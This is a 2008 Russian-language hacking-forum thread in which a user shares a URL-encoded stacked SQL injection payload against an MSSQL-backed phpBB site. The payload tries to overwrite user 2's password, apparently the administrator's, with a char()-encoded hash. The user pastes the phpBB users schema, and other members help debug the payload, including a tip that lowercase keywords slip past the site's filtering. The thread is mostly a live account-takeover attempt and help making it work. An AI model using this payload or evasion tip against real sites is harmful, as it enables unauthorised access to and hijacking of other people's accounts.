Sql в Mssql

Discussion in 'Уязвимости' started by fly, 1 Feb 2008.

  1. fly

    fly Member

    Joined:
    15 Apr 2007
    Messages:
    584
    Likes Received:
    95
    Reputations:
    -10
    еСТЬ СКУЛЬ
    Code:
    299+or+1=+1;UPDATE+phpbb_users+SET+user_newpasswd=char(101)%2Bchar(49)%2Bchar(48)%2Bchar(97)%2Bchar(100)%2Bchar(99)%2Bchar(51)%2Bchar(57)%2Bchar(52)%2Bchar(57)%2Bchar(98)%2Bchar(97)%2Bchar(53)%2Bchar(57)%2Bchar(97)%2Bchar(98)%2Bchar(98)%2Bchar(101)%2Bchar(53)%2Bchar(54)%2Bchar(101)%2Bchar(48)%2Bchar(53)%2Bchar(55)%2Bchar(102)%2Bchar(50)%2Bchar(48)%2Bchar(102)%2Bchar(56)%2Bchar(56)%2Bchar(51)%2Bchar(101)+WHERE+user_id=2--
    Выдает ошибку
    [Macromedia][SQLServer JDBC Driver][SQLServer]Incorrect syntax near the keyword 'ORDER'.

    В чем проблема?
     
  2. b3

    b3 Banned

    Joined:
    5 Dec 2004
    Messages:
    2,170
    Likes Received:
    1,155
    Reputations:
    202
    ;- в етом. А ето : user_newpasswd= сам придумал колонку? И скачай дистрибутив форума и глянь как там в исходнике запрос выглядит.
     
    #2 b3, 1 Feb 2008
    Last edited: 1 Feb 2008
  3. fly

    fly Member

    Joined:
    15 Apr 2007
    Messages:
    584
    Likes Received:
    95
    Reputations:
    -10
    Это тебе надо это сделать ! И азы почитать........ И кста как это если не секрет в исходниках запрос на смену пасса найти, я думал все намного проще через sql запрос проходит.
    А при update (привожу спецом для тебя) в phpbb меняется значение user_newpasswd!!

    А вот те и исходники дампа
    mssql_schema
    Code:
    CREATE TABLE [phpbb_users] (
    	[user_id] [int] NOT NULL ,
    	[user_active] [smallint] NULL ,
    	[username] [varchar] (25) NOT NULL ,
    	[user_password] [varchar] (32) NOT NULL ,
    	[user_session_time] [int] NOT NULL ,
    	[user_session_page] [smallint] NOT NULL ,
    	[user_lastvisit] [int] NOT NULL ,
    	[user_regdate] [int] NOT NULL ,
    	[user_level] [smallint] NOT NULL ,
    	[user_posts] [int] NOT NULL ,
    	[user_timezone] [decimal] (5,2) NOT NULL ,
    	[user_style] [int] NULL ,
    	[user_lang] [varchar] (255) NULL ,
    	[user_dateformat] [varchar] (14) NOT NULL ,
    	[user_new_privmsg] [smallint] NOT NULL ,
    	[user_unread_privmsg] [smallint] NOT NULL ,
    	[user_last_privmsg] [int] NOT NULL ,
    	[user_emailtime] [int] NOT NULL ,
    	[user_viewemail] [smallint] NULL ,
    	[user_attachsig] [smallint] NULL ,
    	[user_allowhtml] [smallint] NULL ,
    	[user_allowbbcode] [smallint] NULL ,
    	[user_allowsmile] [smallint] NULL ,
    	[user_allowavatar] [smallint] NULL ,
    	[user_allow_pm] [smallint] NOT NULL ,
    	[user_allow_viewonline] [smallint] NOT NULL ,
    	[user_notify_pm] [smallint] NOT NULL ,
    	[user_popup_pm] [smallint] NULL ,
    	[user_rank] [int] NULL ,
    	[user_avatar_type] [smallint] NULL ,
    	[user_avatar] [varchar] (100) NULL ,
    	[user_email] [varchar] (255) NULL ,
    	[user_icq] [varchar] (15) NULL ,
    	[user_website] [varchar] (100) NULL ,
    	[user_occ] [varchar] (100) NULL ,
    	[user_from] [varchar] (100) NULL ,
    	[user_sig] [text] NULL ,
    	[user_sig_bbcode_uid] [char] (10) NULL ,
    	[user_aim] [varchar] (255) NULL ,
    	[user_yim] [varchar] (255) NULL ,
    	[user_msnm] [varchar] (255) NULL ,
    	[user_interests] [varchar] (255) NULL ,
    	[user_actkey] [varchar] (32) NULL ,
    	[COLOR=DarkRed][user_newpasswd] [varchar] (32) NULL ,[/COLOR]	[user_notify] [smallint] NOT NULL
    ) ON [PRIMARY] TEXTIMAGE_ON [PRIMARY]
    
    
    

    Если не знаешь не пиши!!!!)))
     
    #3 fly, 1 Feb 2008
    Last edited: 1 Feb 2008
  4. Basurman

    Basurman Elder - Старейшина

    Joined:
    10 Nov 2006
    Messages:
    363
    Likes Received:
    271
    Reputations:
    29
    С маленькой буквы пиши. union select update order и тд
     
  5. fly

    fly Member

    Joined:
    15 Apr 2007
    Messages:
    584
    Likes Received:
    95
    Reputations:
    -10
    Да разницы нет! Почему вылетает Incorrect syntax near the keyword 'ORDER'.
     
    1 person likes this.
  6. Basurman

    Basurman Elder - Старейшина

    Joined:
    10 Nov 2006
    Messages:
    363
    Likes Received:
    271
    Reputations:
    29
    для 9.00.xxx есть

    для примера: https://forum.antichat.ru/showpost.php?p=413076&postcount=19
    Если там написать мелкими букавками - все пройдет на ура
     
    #6 Basurman, 1 Feb 2008
    Last edited: 1 Feb 2008